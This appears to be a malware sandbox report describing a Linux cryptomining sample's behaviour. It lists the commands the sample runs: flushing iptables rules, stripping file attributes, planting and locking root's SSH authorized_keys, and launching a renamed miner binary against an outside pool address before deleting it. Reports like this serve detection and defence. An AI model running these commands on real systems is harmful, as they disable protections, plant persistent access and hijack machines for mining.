Technical Information
Malicious functions:
Gets access to SSH keys
- /root/.ssh/authorized_keys
Modifies firewall settings:
- iptables -F
- iptables --flush
Launches processes:
- /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
- <SAMPLE_FULL_PATH>
- /bin/bash <SAMPLE_FULL_PATH> -c
- openssl rand -hex 5
- touch /usr/local/share/.logfile
- chattr -i -a -j -t -d -u /usr
- chattr -i -a -j -t -d -u /usr/bin
- chattr -i -a -j -t -d -u /usr/local
- chattr -i -a -j -t -d -u /usr/local/share
- chattr -i -a -j -t -d -u /usr/local/share/.logfile
- chmod +x /usr/local/share/.logfile
- id -u
- chattr -i -a -j -t -d -u /root
- mkdir /root/.ssh
- chmod 600 /root/.ssh/authorized_keys
- chattr +i /root/.ssh/authorized_keys
- cp /usr/sbin/losbin2 /usr/bin/0f8bef4ea0
- /usr/bin/0f8bef4ea0 -log 0 -pool 75.2.94.11:1588 -pool2 75.2.94.11:6778 -wal series.x/nice@gmail.com
- sleep 3
- rm -rf /usr/bin/0f8bef4ea0
Performs operations with the file system:
Modifies file access rights:
- /root/.rnd
- /usr/local/share/.logfile
- /root/.ssh/authorized_keys
Creates folders:
- /root/.ssh
Creates or modifies files:
- /root/.rnd
- /usr/local/share/.logfile
- /etc/resolv.conf
Deletes files:
- /usr/bin/0f8bef4ea0
Other:
Collects RAM information